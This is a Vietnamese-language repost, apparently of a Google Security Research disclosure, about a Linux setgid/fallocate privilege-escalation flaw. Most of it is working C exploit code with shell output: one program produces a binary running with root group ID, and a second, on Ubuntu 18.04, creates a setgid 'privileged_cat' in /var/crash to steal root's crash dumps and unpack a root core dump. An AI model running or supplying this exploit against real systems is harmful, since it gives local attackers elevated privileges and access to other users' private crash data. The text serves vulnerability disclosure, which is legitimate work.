Tác giả: Google Security Research
Lưu ý: Tác giả đã gửi report tới mail security@kernel.org và điền thông tin vào Ubuntu BugTracker bởi vì tôi không thể xác định được đây là 1 bug trong kernel hay 1 bug của Ubuntu. Chúng ta cần thảo luận với nhau để tìm ra phương pháp fix lỗ hổng này
Tôi có đưa ra 1 bài writeup cũ tại đây giới thiệu về thủ thuật để ghi dữ liệu vào file kết quả mà không cần tác động tới killpriv logic
Exploit các bạn có thể download tại đây: Download
Quy trình thực hiện
user@debian:~/sgid_demo$ sudo mkdir -m03777 diruser@debian:~/sgid_demo$ cat fallocate.c#define _GNU_SOURCE#include <stdlib.h>#include <fcntl.h>#include <err.h>#include <sys/mman.h>#include <sys/stat.h>#include <unistd.h>#include <string.h>int main(void) {  int src_fd = open("/usr/bin/id", O_RDONLY);  if (src_fd == -1)    err(1, "open 2");  struct stat src_stat;  if (fstat(src_fd, &src_stat))    err(1, "fstat");  int src_len = src_stat.st_size;  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);  if (src_mapping == MAP_FAILED)    err(1, "mmap 2");  int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);  if (fd == -1)    err(1, "open");  if (fallocate(fd, 0, 0, src_len))    err(1, "fallocate");  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);  if (mapping == MAP_FAILED)    err(1, "mmap");  memcpy(mapping, src_mapping, src_len);  munmap(mapping, src_len);  close(fd);  close(src_fd);  execl("./dir/file", "id", NULL);  err(1, "execl");}user@debian:~/sgid_demo$ gcc -o fallocate fallocate.cuser@debian:~/sgid_demo$ ./fallocateuid=1000(user) gid=1000(user) egid=0(root)groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)Riêng trên Ubutnu 18.04 /var/crash được cấp quyền là 03777, nhóm “whoopsite” và chứa quyền cho group này được phép đọc các file dumps từ crash ở các định dạng tùy chỉnh. Do vậy ban có thể lợi dụng lỗ hổng này để ăn cắp các file dumps từ crash của các user khác
user@ubuntu-18-04-vm:~$ ls -l /var/crashtotal 296-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crashuser@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crashcat: /var/crash/_usr_bin_id.0.crash: Permission denieduser@ubuntu-18-04-vm:~$ cat fallocate.c */#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <fcntl.h>#include <err.h>#include <sys/mman.h>#include <sys/stat.h>#include <unistd.h>#include <string.h>int main(int argc, char **argv) {if (argc != 2) {printf("usage: ./fallocate <file_to_read>");return 1;}int src_fd = open("/bin/cat", O_RDONLY);if (src_fd == -1)err(1, "open 2");struct stat src_stat;if (fstat(src_fd, &src_stat))err(1, "fstat");int src_len = src_stat.st_size;char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);if (src_mapping == MAP_FAILED)err(1, "mmap 2");unlink("/var/crash/privileged_cat"); /* in case we've already run before */int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);if (fd == -1)err(1, "open");if (fallocate(fd, 0, 0, src_len))err(1, "fallocate");char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mapping == MAP_FAILED)err(1, "mmap");memcpy(mapping, src_mapping, src_len);munmap(mapping, src_len);close(fd);execl("/var/crash/privileged_cat", "cat", argv[1], NULL);err(1, "execl");}/*user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.cuser@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolenuser@ubuntu-18-04-vm:~$ ls -l /var/crashtotal 384-rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash-rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crashuser@ubuntu-18-04-vm:~$ mkdir root_crash_unpackeduser@ubuntu-18-04-vm:~$ # work around bug in apport-unpackuser@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolenuser@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'Views: 1299

 
							



